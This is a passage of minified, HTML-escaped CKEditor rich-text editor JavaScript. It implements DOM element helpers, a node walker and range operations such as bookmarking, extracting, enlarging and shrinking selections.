!0);c&amp;&amp;this.removeAttribute(&quot;aria-disabled&quot;);break;case CKEDITOR.TRISTATE_DISABLED:this.addClass(b+&quot;_disabled&quot;);this.removeClass(b+&quot;_off&quot;);this.removeClass(b+&quot;_on&quot;);c&amp;&amp;this.setAttribute(&quot;aria-disabled&quot;,!0);c&amp;&amp;this.removeAttribute(&quot;aria-pressed&quot;);break;default:this.addClass(b+&quot;_off&quot;),this.removeClass(b+&quot;_on&quot;),this.removeClass(b+&quot;_disabled&quot;),c&amp;&amp;this.removeAttribute(&quot;aria-pressed&quot;),c&amp;&amp;this.removeAttribute(&quot;aria-disabled&quot;)}},getFrameDocument:function(){var a=this.$;try{a.contentWindow.document}catch(b){a.src=
a.src}return a&amp;&amp;new CKEDITOR.dom.document(a.contentWindow.document)},copyAttributes:function(a,b){var c=this.$.attributes;b=b||{};for(var g=0;g&lt;c.length;g++){var d=c[g],e=d.nodeName.toLowerCase(),k;if(!(e in b))if(&quot;checked&quot;==e&amp;&amp;(k=this.getAttribute(e)))a.setAttribute(e,k);else if(!CKEDITOR.env.ie||this.hasAttribute(e))k=this.getAttribute(e),null===k&amp;&amp;(k=d.nodeValue),a.setAttribute(e,k)}&quot;&quot;!==this.$.style.cssText&amp;&amp;(a.$.style.cssText=this.$.style.cssText)},renameNode:function(a){if(this.getName()!=a){var b=
this.getDocument();a=new CKEDITOR.dom.element(a,b);this.copyAttributes(a);this.moveChildren(a);this.getParent(!0)&amp;&amp;this.$.parentNode.replaceChild(a.$,this.$);a.$[&quot;data-cke-expando&quot;]=this.$[&quot;data-cke-expando&quot;];this.$=a.$;delete this.getName}},getChild:function(){function a(b,c){var g=b.childNodes;if(0&lt;=c&amp;&amp;c&lt;g.length)return g[c]}return function(b){var c=this.$;if(b.slice)for(b=b.slice();0&lt;b.length&amp;&amp;c;)c=a(c,b.shift());else c=a(c,b);return c?new CKEDITOR.dom.node(c):null}}(),getChildCount:function(){return this.$.childNodes.length},
disableContextMenu:function(){function a(b){return b.type==CKEDITOR.NODE_ELEMENT&amp;&amp;b.hasClass(&quot;cke_enable_context_menu&quot;)}this.on(&quot;contextmenu&quot;,function(b){b.data.getTarget().getAscendant(a,!0)||b.data.preventDefault()})},getDirection:function(a){return a?this.getComputedStyle(&quot;direction&quot;)||this.getDirection()||this.getParent()&amp;&amp;this.getParent().getDirection(1)||this.getDocument().$.dir||&quot;ltr&quot;:this.getStyle(&quot;direction&quot;)||this.getAttribute(&quot;dir&quot;)},data:function(a,b){a=&quot;data-&quot;+a;if(void 0===b)return this.getAttribute(a);
!1===b?this.removeAttribute(a):this.setAttribute(a,b);return null},getEditor:function(){var a=CKEDITOR.instances,b,c;for(b in a)if(c=a[b],c.element.equals(this)&amp;&amp;c.elementMode!=CKEDITOR.ELEMENT_MODE_APPENDTO)return c;return null},find:function(a){var c=e(this);a=new CKEDITOR.dom.nodeList(this.$.querySelectorAll(b(this,a)));c();return a},findOne:function(a){var c=e(this);a=this.$.querySelector(b(this,a));c();return a?new CKEDITOR.dom.element(a):null},forEach:function(a,b,c){if(!(c||b&amp;&amp;this.type!=b))var g=
a(this);if(!1!==g){c=this.getChildren();for(var d=0;d&lt;c.count();d++)g=c.getItem(d),g.type==CKEDITOR.NODE_ELEMENT?g.forEach(a,b):b&amp;&amp;g.type!=b||a(g)}}});var m={width:[&quot;border-left-width&quot;,&quot;border-right-width&quot;,&quot;padding-left&quot;,&quot;padding-right&quot;],height:[&quot;border-top-width&quot;,&quot;border-bottom-width&quot;,&quot;padding-top&quot;,&quot;padding-bottom&quot;]};CKEDITOR.dom.element.prototype.setSize=function(a,b,d){&quot;number&quot;==typeof b&amp;&amp;(!d||CKEDITOR.env.ie&amp;&amp;CKEDITOR.env.quirks||(b-=c.call(this,a)),this.setStyle(a,b+&quot;px&quot;))};CKEDITOR.dom.element.prototype.getSize=
function(a,b){var d=Math.max(this.$[&quot;offset&quot;+CKEDITOR.tools.capitalize(a)],this.$[&quot;client&quot;+CKEDITOR.tools.capitalize(a)])||0;b&amp;&amp;(d-=c.call(this,a));return d}}(),CKEDITOR.dom.documentFragment=function(a){a=a||CKEDITOR.document;this.$=a.type==CKEDITOR.NODE_DOCUMENT?a.$.createDocumentFragment():a},CKEDITOR.tools.extend(CKEDITOR.dom.documentFragment.prototype,CKEDITOR.dom.element.prototype,{type:CKEDITOR.NODE_DOCUMENT_FRAGMENT,insertAfterNode:function(a){a=a.$;a.parentNode.insertBefore(this.$,a.nextSibling)},
getHtml:function(){var a=new CKEDITOR.dom.element(&quot;div&quot;);this.clone(1,1).appendTo(a);return a.getHtml().replace(/\s*data-cke-expando=&quot;.*?&quot;/g,&quot;&quot;)}},!0,{append:1,appendBogus:1,clone:1,getFirst:1,getHtml:1,getLast:1,getParent:1,getNext:1,getPrevious:1,appendTo:1,moveChildren:1,insertBefore:1,insertAfterNode:1,replace:1,trim:1,type:1,ltrim:1,rtrim:1,getDocument:1,getChildCount:1,getChild:1,getChildren:1}),function(){function a(a,b){var g=this.range;if(this._.end)return null;if(!this._.start){this._.start=
1;if(g.collapsed)return this.end(),null;g.optimize()}var c,d=g.startContainer;c=g.endContainer;var f=g.startOffset,l=g.endOffset,h,e=this.guard,n=this.type,k=a?&quot;getPreviousSourceNode&quot;:&quot;getNextSourceNode&quot;;if(!a&amp;&amp;!this._.guardLTR){var m=c.type==CKEDITOR.NODE_ELEMENT?c:c.getParent(),B=c.type==CKEDITOR.NODE_ELEMENT?c.getChild(l):c.getNext();this._.guardLTR=function(a,b){return(!b||!m.equals(a))&amp;&amp;(!B||!a.equals(B))&amp;&amp;(a.type!=CKEDITOR.NODE_ELEMENT||!b||!a.equals(g.root))}}if(a&amp;&amp;!this._.guardRTL){var D=
d.type==CKEDITOR.NODE_ELEMENT?d:d.getParent(),F=d.type==CKEDITOR.NODE_ELEMENT?f?d.getChild(f-1):null:d.getPrevious();this._.guardRTL=function(a,b){return(!b||!D.equals(a))&amp;&amp;(!F||!a.equals(F))&amp;&amp;(a.type!=CKEDITOR.NODE_ELEMENT||!b||!a.equals(g.root))}}var E=a?this._.guardRTL:this._.guardLTR;h=e?function(a,b){return!1===E(a,b)?!1:e(a,b)}:E;this.current?c=this.current[k](!1,n,h):(a?c.type==CKEDITOR.NODE_ELEMENT&amp;&amp;(c=0&lt;l?c.getChild(l-1):!1===h(c,!0)?null:c.getPreviousSourceNode(!0,n,h)):(c=d,c.type==CKEDITOR.NODE_ELEMENT&amp;&amp;
((c=c.getChild(f))||(c=!1===h(d,!0)?null:d.getNextSourceNode(!0,n,h)))),c&amp;&amp;!1===h(c)&amp;&amp;(c=null));for(;c&amp;&amp;!this._.end;){this.current=c;if(!this.evaluator||!1!==this.evaluator(c)){if(!b)return c}else if(b&amp;&amp;this.evaluator)return!1;c=c[k](!1,n,h)}this.end();return this.current=null}function e(b){for(var g,c=null;g=a.call(this,b);)c=g;return c}CKEDITOR.dom.walker=CKEDITOR.tools.createClass({$:function(a){this.range=a;this._={}},proto:{end:function(){this._.end=1},next:function(){return a.call(this)},previous:function(){return a.call(this,
1)},checkForward:function(){return!1!==a.call(this,0,1)},checkBackward:function(){return!1!==a.call(this,1,1)},lastForward:function(){return e.call(this)},lastBackward:function(){return e.call(this,1)},reset:function(){delete this.current;this._={}}}});var b={block:1,&quot;list-item&quot;:1,table:1,&quot;table-row-group&quot;:1,&quot;table-header-group&quot;:1,&quot;table-footer-group&quot;:1,&quot;table-row&quot;:1,&quot;table-column-group&quot;:1,&quot;table-column&quot;:1,&quot;table-cell&quot;:1,&quot;table-caption&quot;:1},c={absolute:1,fixed:1};CKEDITOR.dom.element.prototype.isBlockBoundary=
function(a){return&quot;none&quot;!=this.getComputedStyle(&quot;float&quot;)||this.getComputedStyle(&quot;position&quot;)in c||!b[this.getComputedStyle(&quot;display&quot;)]?!!(this.is(CKEDITOR.dtd.$block)||a&amp;&amp;this.is(a)):!0};CKEDITOR.dom.walker.blockBoundary=function(a){return function(b){return!(b.type==CKEDITOR.NODE_ELEMENT&amp;&amp;b.isBlockBoundary(a))}};CKEDITOR.dom.walker.listItemBoundary=function(){return this.blockBoundary({br:1})};CKEDITOR.dom.walker.bookmark=function(a,b){function g(a){return a&amp;&amp;a.getName&amp;&amp;&quot;span&quot;==a.getName()&amp;&amp;a.data(&quot;cke-bookmark&quot;)}
return function(c){var d,f;d=c&amp;&amp;c.type!=CKEDITOR.NODE_ELEMENT&amp;&amp;(f=c.getParent())&amp;&amp;g(f);d=a?d:d||g(c);return!!(b^d)}};CKEDITOR.dom.walker.whitespaces=function(a){return function(b){var g;b&amp;&amp;b.type==CKEDITOR.NODE_TEXT&amp;&amp;(g=!CKEDITOR.tools.trim(b.getText())||CKEDITOR.env.webkit&amp;&amp;b.getText()==CKEDITOR.dom.selection.FILLING_CHAR_SEQUENCE);return!!(a^g)}};CKEDITOR.dom.walker.invisible=function(a){var b=CKEDITOR.dom.walker.whitespaces(),g=CKEDITOR.env.webkit?1:0;return function(c){b(c)?c=1:(c.type==CKEDITOR.NODE_TEXT&amp;&amp;
(c=c.getParent()),c=c.$.offsetWidth&lt;=g);return!!(a^c)}};CKEDITOR.dom.walker.nodeType=function(a,b){return function(g){return!!(b^g.type==a)}};CKEDITOR.dom.walker.bogus=function(a){function b(a){return!k(a)&amp;&amp;!m(a)}return function(g){var c=CKEDITOR.env.needsBrFiller?g.is&amp;&amp;g.is(&quot;br&quot;):g.getText&amp;&amp;d.test(g.getText());c&amp;&amp;(c=g.getParent(),g=g.getNext(b),c=c.isBlockBoundary()&amp;&amp;(!g||g.type==CKEDITOR.NODE_ELEMENT&amp;&amp;g.isBlockBoundary()));return!!(a^c)}};CKEDITOR.dom.walker.temp=function(a){return function(b){b.type!=
CKEDITOR.NODE_ELEMENT&amp;&amp;(b=b.getParent());b=b&amp;&amp;b.hasAttribute(&quot;data-cke-temp&quot;);return!!(a^b)}};var d=/^[\t\r\n ]*(?:&amp;nbsp;|\xa0)$/,k=CKEDITOR.dom.walker.whitespaces(),m=CKEDITOR.dom.walker.bookmark(),f=CKEDITOR.dom.walker.temp(),h=function(a){return m(a)||k(a)||a.type==CKEDITOR.NODE_ELEMENT&amp;&amp;a.is(CKEDITOR.dtd.$inline)&amp;&amp;!a.is(CKEDITOR.dtd.$empty)};CKEDITOR.dom.walker.ignored=function(a){return function(b){b=k(b)||m(b)||f(b);return!!(a^b)}};var l=CKEDITOR.dom.walker.ignored();CKEDITOR.dom.walker.empty=
function(a){return function(b){for(var g=0,c=b.getChildCount();g&lt;c;++g)if(!l(b.getChild(g)))return!!a;return!a}};var g=CKEDITOR.dom.walker.empty(),n=CKEDITOR.dom.walker.validEmptyBlockContainers=CKEDITOR.tools.extend(function(a){var b={},g;for(g in a)CKEDITOR.dtd[g][&quot;#&quot;]&amp;&amp;(b[g]=1);return b}(CKEDITOR.dtd.$block),{caption:1,td:1,th:1});CKEDITOR.dom.walker.editable=function(a){return function(b){b=l(b)?!1:b.type==CKEDITOR.NODE_TEXT||b.type==CKEDITOR.NODE_ELEMENT&amp;&amp;(b.is(CKEDITOR.dtd.$inline)||b.is(&quot;hr&quot;)||
&quot;false&quot;==b.getAttribute(&quot;contenteditable&quot;)||!CKEDITOR.env.needsBrFiller&amp;&amp;b.is(n)&amp;&amp;g(b))?!0:!1;return!!(a^b)}};CKEDITOR.dom.element.prototype.getBogus=function(){var a=this;do a=a.getPreviousSourceNode();while(h(a));return a&amp;&amp;(CKEDITOR.env.needsBrFiller?a.is&amp;&amp;a.is(&quot;br&quot;):a.getText&amp;&amp;d.test(a.getText()))?a:!1}}(),CKEDITOR.dom.range=function(a){this.endOffset=this.endContainer=this.startOffset=this.startContainer=null;this.collapsed=!0;var e=a instanceof CKEDITOR.dom.document;this.document=e?a:a.getDocument();
this.root=e?a.getBody():a},function(){function a(a){a.collapsed=a.startContainer&amp;&amp;a.endContainer&amp;&amp;a.startContainer.equals(a.endContainer)&amp;&amp;a.startOffset==a.endOffset}function e(a,b,c,d,f){function l(a,b,g,c){var d=g?a.getPrevious():a.getNext();if(c&amp;&amp;k)return d;r||c?b.append(a.clone(!0,f),g):(a.remove(),m&amp;&amp;b.append(a));return d}function h(){var a,b,g,c=Math.min(N.length,H.length);for(a=0;a&lt;c;a++)if(b=N[a],g=H[a],!b.equals(g))return a;return a-1}function e(){var b=R-1,c=E&amp;&amp;I&amp;&amp;!w.equals(C);b&lt;P-1||b&lt;
T-1||c?(c?a.moveToPosition(C,CKEDITOR.POSITION_BEFORE_START):T==b+1&amp;&amp;F?a.moveToPosition(H[b],CKEDITOR.POSITION_BEFORE_END):a.moveToPosition(H[b+1],CKEDITOR.POSITION_BEFORE_START),d&amp;&amp;(b=N[b+1])&amp;&amp;b.type==CKEDITOR.NODE_ELEMENT&amp;&amp;(c=CKEDITOR.dom.element.createFromHtml(&#039;\x3cspan data-cke-bookmark\x3d&quot;1&quot; style\x3d&quot;display:none&quot;\x3e\x26nbsp;\x3c/span\x3e&#039;,a.document),c.insertAfter(b),b.mergeSiblings(!1),a.moveToBookmark({startNode:c}))):a.collapse(!0)}a.optimizeBookmark();var k=0===b,m=1==b,r=2==b;b=r||m;
var w=a.startContainer,C=a.endContainer,x=a.startOffset,B=a.endOffset,D,F,E,I,G,L;if(r&amp;&amp;C.type==CKEDITOR.NODE_TEXT&amp;&amp;w.equals(C))w=a.document.createText(w.substring(x,B)),c.append(w);else{C.type==CKEDITOR.NODE_TEXT?r?L=!0:C=C.split(B):0&lt;C.getChildCount()?B&gt;=C.getChildCount()?(C=C.getChild(B-1),F=!0):C=C.getChild(B):I=F=!0;w.type==CKEDITOR.NODE_TEXT?r?G=!0:w.split(x):0&lt;w.getChildCount()?0===x?(w=w.getChild(x),D=!0):w=w.getChild(x-1):E=D=!0;for(var N=w.getParents(),H=C.getParents(),R=h(),P=N.length-
1,T=H.length-1,O=c,J,ca,W,U=-1,K=R;K&lt;=P;K++){ca=N[K];W=ca.getNext();for(K!=P||ca.equals(H[K])&amp;&amp;P&lt;T?b&amp;&amp;(J=O.append(ca.clone(0,f))):D?l(ca,O,!1,E):G&amp;&amp;O.append(a.document.createText(ca.substring(x)));W;){if(W.equals(H[K])){U=K;break}W=l(W,O)}O=J}O=c;for(K=R;K&lt;=T;K++)if(c=H[K],W=c.getPrevious(),c.equals(N[K]))b&amp;&amp;(O=O.getChild(0));else{K!=T||c.equals(N[K])&amp;&amp;T&lt;P?b&amp;&amp;(J=O.append(c.clone(0,f))):F?l(c,O,!1,I):L&amp;&amp;O.append(a.document.createText(c.substring(0,B)));if(K&gt;U)for(;W;)W=l(W,O,!0);O=J}r||e()}}function b(){var a=
!1,b=CKEDITOR.dom.walker.whitespaces(),c=CKEDITOR.dom.walker.bookmark(!0),d=CKEDITOR.dom.walker.bogus();return function(f){return c(f)||b(f)?!0:d(f)&amp;&amp;!a?a=!0:f.type==CKEDITOR.NODE_TEXT&amp;&amp;(f.hasAscendant(&quot;pre&quot;)||CKEDITOR.tools.trim(f.getText()).length)||f.type==CKEDITOR.NODE_ELEMENT&amp;&amp;!f.is(k)?!1:!0}}function c(a){var b=CKEDITOR.dom.walker.whitespaces(),c=CKEDITOR.dom.walker.bookmark(1);return function(d){return c(d)||b(d)?!0:!a&amp;&amp;m(d)||d.type==CKEDITOR.NODE_ELEMENT&amp;&amp;d.is(CKEDITOR.dtd.$removeEmpty)}}
function d(a){return function(){var b;return this[a?&quot;getPreviousNode&quot;:&quot;getNextNode&quot;](function(a){!b&amp;&amp;l(a)&amp;&amp;(b=a);return h(a)&amp;&amp;!(m(a)&amp;&amp;a.equals(b))})}}var k={abbr:1,acronym:1,b:1,bdo:1,big:1,cite:1,code:1,del:1,dfn:1,em:1,font:1,i:1,ins:1,label:1,kbd:1,q:1,samp:1,small:1,span:1,strike:1,strong:1,sub:1,sup:1,tt:1,u:1,&quot;var&quot;:1},m=CKEDITOR.dom.walker.bogus(),f=/^[\t\r\n ]*(?:&amp;nbsp;|\xa0)$/,h=CKEDITOR.dom.walker.editable(),l=CKEDITOR.dom.walker.ignored(!0);CKEDITOR.dom.range.prototype={clone:function(){var a=
new CKEDITOR.dom.range(this.root);a._setStartContainer(this.startContainer);a.startOffset=this.startOffset;a._setEndContainer(this.endContainer);a.endOffset=this.endOffset;a.collapsed=this.collapsed;return a},collapse:function(a){a?(this._setEndContainer(this.startContainer),this.endOffset=this.startOffset):(this._setStartContainer(this.endContainer),this.startOffset=this.endOffset);this.collapsed=!0},cloneContents:function(a){var b=new CKEDITOR.dom.documentFragment(this.document);this.collapsed||
e(this,2,b,!1,&quot;undefined&quot;==typeof a?!0:a);return b},deleteContents:function(a){this.collapsed||e(this,0,null,a)},extractContents:function(a,b){var c=new CKEDITOR.dom.documentFragment(this.document);this.collapsed||e(this,1,c,a,&quot;undefined&quot;==typeof b?!0:b);return c},createBookmark:function(a){var b,c,d,f,l=this.collapsed;b=this.document.createElement(&quot;span&quot;);b.data(&quot;cke-bookmark&quot;,1);b.setStyle(&quot;display&quot;,&quot;none&quot;);b.setHtml(&quot;\x26nbsp;&quot;);a&amp;&amp;(d=&quot;cke_bm_&quot;+CKEDITOR.tools.getNextNumber(),b.setAttribute(&quot;id&quot;,
d+(l?&quot;C&quot;:&quot;S&quot;)));l||(c=b.clone(),c.setHtml(&quot;\x26nbsp;&quot;),a&amp;&amp;c.setAttribute(&quot;id&quot;,d+&quot;E&quot;),f=this.clone(),f.collapse(),f.insertNode(c));f=this.clone();f.collapse(!0);f.insertNode(b);c?(this.setStartAfter(b),this.setEndBefore(c)):this.moveToPosition(b,CKEDITOR.POSITION_AFTER_END);return{startNode:a?d+(l?&quot;C&quot;:&quot;S&quot;):b,endNode:a?d+&quot;E&quot;:c,serializable:a,collapsed:l}},createBookmark2:function(){function a(b){var g=b.container,d=b.offset,f;f=g;var l=d;f=f.type!=CKEDITOR.NODE_ELEMENT||0===l||l==f.getChildCount()?
0:f.getChild(l-1).type==CKEDITOR.NODE_TEXT&amp;&amp;f.getChild(l).type==CKEDITOR.NODE_TEXT;f&amp;&amp;(g=g.getChild(d-1),d=g.getLength());if(g.type==CKEDITOR.NODE_ELEMENT&amp;&amp;0&lt;d){a:{for(f=g;d--;)if(l=f.getChild(d).getIndex(!0),0&lt;=l){d=l;break a}d=-1}d+=1}if(g.type==CKEDITOR.NODE_TEXT){f=g;for(l=0;(f=f.getPrevious())&amp;&amp;f.type==CKEDITOR.NODE_TEXT;)l+=f.getText().replace(CKEDITOR.dom.selection.FILLING_CHAR_SEQUENCE,&quot;&quot;).length;f=l;g.getText()?d+=f:(l=g.getPrevious(c),f?(d=f,g=l?l.getNext():g.getParent().getFirst()):(g=
g.getParent(),d=l?l.getIndex(!0)+1:0))}b.container=g;b.offset=d}function b(a,g){var c=g.getCustomData(&quot;cke-fillingChar&quot;);if(c){var d=a.container;c.equals(d)&amp;&amp;(a.offset-=CKEDITOR.dom.selection.FILLING_CHAR_SEQUENCE.length,0&gt;=a.offset&amp;&amp;(a.offset=d.getIndex(),a.container=d.getParent()))}}var c=CKEDITOR.dom.walker.nodeType(CKEDITOR.NODE_TEXT,!0);return function(c){var d=this.collapsed,f={container:this.startContainer,offset:this.startOffset},l={container:this.endContainer,offset:this.endOffset};c&amp;&amp;(a(f),
b(f,this.root),d||(a(l),b(l,this.root)));return{start:f.container.getAddress(c),end:d?null:l.container.getAddress(c),startOffset:f.offset,endOffset:l.offset,normalized:c,collapsed:d,is2:!0}}}(),moveToBookmark:function(a){if(a.is2){var b=this.document.getByAddress(a.start,a.normalized),c=a.startOffset,d=a.end&amp;&amp;this.document.getByAddress(a.end,a.normalized);a=a.endOffset;this.setStart(b,c);d?this.setEnd(d,a):this.collapse(!0)}else b=(c=a.serializable)?this.document.getById(a.startNode):a.startNode,
a=c?this.document.getById(a.endNode):a.endNode,this.setStartBefore(b),b.remove(),a?(this.setEndBefore(a),a.remove()):this.collapse(!0)},getBoundaryNodes:function(){var a=this.startContainer,b=this.endContainer,c=this.startOffset,d=this.endOffset,f;if(a.type==CKEDITOR.NODE_ELEMENT)if(f=a.getChildCount(),f&gt;c)a=a.getChild(c);else if(1&gt;f)a=a.getPreviousSourceNode();else{for(a=a.$;a.lastChild;)a=a.lastChild;a=new CKEDITOR.dom.node(a);a=a.getNextSourceNode()||a}if(b.type==CKEDITOR.NODE_ELEMENT)if(f=b.getChildCount(),
f&gt;d)b=b.getChild(d).getPreviousSourceNode(!0);else if(1&gt;f)b=b.getPreviousSourceNode();else{for(b=b.$;b.lastChild;)b=b.lastChild;b=new CKEDITOR.dom.node(b)}a.getPosition(b)&amp;CKEDITOR.POSITION_FOLLOWING&amp;&amp;(a=b);return{startNode:a,endNode:b}},getCommonAncestor:function(a,b){var c=this.startContainer,d=this.endContainer,c=c.equals(d)?a&amp;&amp;c.type==CKEDITOR.NODE_ELEMENT&amp;&amp;this.startOffset==this.endOffset-1?c.getChild(this.startOffset):c:c.getCommonAncestor(d);return b&amp;&amp;!c.is?c.getParent():c},optimize:function(){var a=
this.startContainer,b=this.startOffset;a.type!=CKEDITOR.NODE_ELEMENT&amp;&amp;(b?b&gt;=a.getLength()&amp;&amp;this.setStartAfter(a):this.setStartBefore(a));a=this.endContainer;b=this.endOffset;a.type!=CKEDITOR.NODE_ELEMENT&amp;&amp;(b?b&gt;=a.getLength()&amp;&amp;this.setEndAfter(a):this.setEndBefore(a))},optimizeBookmark:function(){var a=this.startContainer,b=this.endContainer;a.is&amp;&amp;a.is(&quot;span&quot;)&amp;&amp;a.data(&quot;cke-bookmark&quot;)&amp;&amp;this.setStartAt(a,CKEDITOR.POSITION_BEFORE_START);b&amp;&amp;b.is&amp;&amp;b.is(&quot;span&quot;)&amp;&amp;b.data(&quot;cke-bookmark&quot;)&amp;&amp;this.setEndAt(b,CKEDITOR.POSITION_AFTER_END)},
trim:function(a,b){var c=this.startContainer,d=this.startOffset,f=this.collapsed;if((!a||f)&amp;&amp;c&amp;&amp;c.type==CKEDITOR.NODE_TEXT){if(d)if(d&gt;=c.getLength())d=c.getIndex()+1,c=c.getParent();else{var l=c.split(d),d=c.getIndex()+1,c=c.getParent();this.startContainer.equals(this.endContainer)?this.setEnd(l,this.endOffset-this.startOffset):c.equals(this.endContainer)&amp;&amp;(this.endOffset+=1)}else d=c.getIndex(),c=c.getParent();this.setStart(c,d);if(f){this.collapse(!0);return}}c=this.endContainer;d=this.endOffset;
b||f||!c||c.type!=CKEDITOR.NODE_TEXT||(d?(d&gt;=c.getLength()||c.split(d),d=c.getIndex()+1):d=c.getIndex(),c=c.getParent(),this.setEnd(c,d))},enlarge:function(a,b){function c(a){return a&amp;&amp;a.type==CKEDITOR.NODE_ELEMENT&amp;&amp;a.hasAttribute(&quot;contenteditable&quot;)?null:a}var d=new RegExp(/[^\s\ufeff]/);switch(a){case CKEDITOR.ENLARGE_INLINE:var f=1;case CKEDITOR.ENLARGE_ELEMENT:var l=function(a,b){var c=new CKEDITOR.dom.range(e);c.setStart(a,b);c.setEndAt(e,CKEDITOR.POSITION_BEFORE_END);var c=new CKEDITOR.dom.walker(c),
g;for(c.guard=function(a){return!(a.type==CKEDITOR.NODE_ELEMENT&amp;&amp;a.isBlockBoundary())};g=c.next();){if(g.type!=CKEDITOR.NODE_TEXT)return!1;D=g!=a?g.getText():g.substring(b);if(d.test(D))return!1}return!0};if(this.collapsed)break;var h=this.getCommonAncestor(),e=this.root,k,m,r,w,C,x=!1,B,D;B=this.startContainer;var F=this.startOffset;B.type==CKEDITOR.NODE_TEXT?(F&amp;&amp;(B=!CKEDITOR.tools.trim(B.substring(0,F)).length&amp;&amp;B,x=!!B),B&amp;&amp;((w=B.getPrevious())||(r=B.getParent()))):(F&amp;&amp;(w=B.getChild(F-1)||B.getLast()),
w||(r=B));for(r=c(r);r||w;){if(r&amp;&amp;!w){!C&amp;&amp;r.equals(h)&amp;&amp;(C=!0);if(f?r.isBlockBoundary():!e.contains(r))break;x&amp;&amp;&quot;inline&quot;==r.getComputedStyle(&quot;display&quot;)||(x=!1,C?k=r:this.setStartBefore(r));w=r.getPrevious()}for(;w;)if(B=!1,w.type==CKEDITOR.NODE_COMMENT)w=w.getPrevious();else{if(w.type==CKEDITOR.NODE_TEXT)D=w.getText(),d.test(D)&amp;&amp;(w=null),B=/[\s\ufeff]$/.test(D);else if((w.$.offsetWidth&gt;(CKEDITOR.env.webkit?1:0)||b&amp;&amp;w.is(&quot;br&quot;))&amp;&amp;!w.data(&quot;cke-bookmark&quot;))if(x&amp;&amp;CKEDITOR.dtd.$removeEmpty[w.getName()]){D=
w.getText();if(d.test(D))w=null;else for(var F=w.$.getElementsByTagName(&quot;*&quot;),E=0,I;I=F[E++];)if(!CKEDITOR.dtd.$removeEmpty[I.nodeName.toLowerCase()]){w=null;break}w&amp;&amp;(B=!!D.length)}else w=null;B&amp;&amp;(x?C?k=r:r&amp;&amp;this.setStartBefore(r):x=!0);if(w){B=w.getPrevious();if(!r&amp;&amp;!B){r=w;w=null;break}w=B}else r=null}r&amp;&amp;(r=c(r.getParent()))}B=this.endContainer;F=this.endOffset;r=w=null;C=x=!1;B.type==CKEDITOR.NODE_TEXT?CKEDITOR.tools.trim(B.substring(F)).length?x=!0:(x=!B.getLength(),F==B.getLength()?(w=B.getNext())||
(r=B.getParent()):l(B,F)&amp;&amp;(r=B.getParent())):(w=B.getChild(F))||(r=B);for(;r||w;){if(r&amp;&amp;!w){!C&amp;&amp;r.equals(h)&amp;&amp;(C=!0);if(f?r.isBlockBoundary():!e.contains(r))break;x&amp;&amp;&quot;inline&quot;==r.getComputedStyle(&quot;display&quot;)||(x=!1,C?m=r:r&amp;&amp;this.setEndAfter(r));w=r.getNext()}for(;w;){B=!1;if(w.type==CKEDITOR.NODE_TEXT)D=w.getText(),l(w,0)||(w=null),B=/^[\s\ufeff]/.test(D);else if(w.type==CKEDITOR.NODE_ELEMENT){if((0&lt;w.$.offsetWidth||b&amp;&amp;w.is(&quot;br&quot;))&amp;&amp;!w.data(&quot;cke-bookmark&quot;))if(x&amp;&amp;CKEDITOR.dtd.$removeEmpty[w.getName()]){D=
w.getText();if(d.test(D))w=null;else for(F=w.$.getElementsByTagName(&quot;*&quot;),E=0;I=F[E++];)if(!CKEDITOR.dtd.$removeEmpty[I.nodeName.toLowerCase()]){w=null;break}w&amp;&amp;(B=!!D.length)}else w=null}else B=1;B&amp;&amp;x&amp;&amp;(C?m=r:this.setEndAfter(r));if(w){B=w.getNext();if(!r&amp;&amp;!B){r=w;w=null;break}w=B}else r=null}r&amp;&amp;(r=c(r.getParent()))}k&amp;&amp;m&amp;&amp;(h=k.contains(m)?m:k,this.setStartBefore(h),this.setEndAfter(h));break;case CKEDITOR.ENLARGE_BLOCK_CONTENTS:case CKEDITOR.ENLARGE_LIST_ITEM_CONTENTS:r=new CKEDITOR.dom.range(this.root);
e=this.root;r.setStartAt(e,CKEDITOR.POSITION_AFTER_START);r.setEnd(this.startContainer,this.startOffset);r=new CKEDITOR.dom.walker(r);var G,L,N=CKEDITOR.dom.walker.blockBoundary(a==CKEDITOR.ENLARGE_LIST_ITEM_CONTENTS?{br:1}:null),H=null,R=function(a){if(a.type==CKEDITOR.NODE_ELEMENT&amp;&amp;&quot;false&quot;==a.getAttribute(&quot;contenteditable&quot;))if(H){if(H.equals(a)){H=null;return}}else H=a;else if(H)return;var b=N(a);b||(G=a);return b},f=function(a){var b=R(a);!b&amp;&amp;a.is&amp;&amp;a.is(&quot;br&quot;)&amp;&amp;(L=a);return b};r.guard=R;r=r.lastBackward();
G=G||e;this.setStartAt(G,!G.is(&quot;br&quot;)&amp;&amp;(!r&amp;&amp;this.checkStartOfBlock()||r&amp;&amp;G.contains(r))?CKEDITOR.POSITION_AFTER_START:CKEDITOR.POSITION_AFTER_END);if(a==CKEDITOR.ENLARGE_LIST_ITEM_CONTENTS){r=this.clone();r=new CKEDITOR.dom.walker(r);var P=CKEDITOR.dom.walker.whitespaces(),T=CKEDITOR.dom.walker.bookmark();r.evaluator=function(a){return!P(a)&amp;&amp;!T(a)};if((r=r.previous())&amp;&amp;r.type==CKEDITOR.NODE_ELEMENT&amp;&amp;r.is(&quot;br&quot;))break}r=this.clone();r.collapse();r.setEndAt(e,CKEDITOR.POSITION_BEFORE_END);r=new CKEDITOR.dom.walker(r);
r.guard=a==CKEDITOR.ENLARGE_LIST_ITEM_CONTENTS?f:R;G=H=L=null;r=r.lastForward();G=G||e;this.setEndAt(G,!r&amp;&amp;this.checkEndOfBlock()||r&amp;&amp;G.contains(r)?CKEDITOR.POSITION_BEFORE_END:CKEDITOR.POSITION_BEFORE_START);L&amp;&amp;this.setEndAfter(L)}},shrink:function(a,b,c){if(!this.collapsed){a=a||CKEDITOR.SHRINK_TEXT;var d=this.clone(),f=this.startContainer,l=this.endContainer,h=this.startOffset,e=this.endOffset,k=1,m=1;f&amp;&amp;f.type==CKEDITOR.NODE_TEXT&amp;&amp;(h?h&gt;=f.getLength()?d.setStartAfter(f):(d.setStartBefore(f),k=
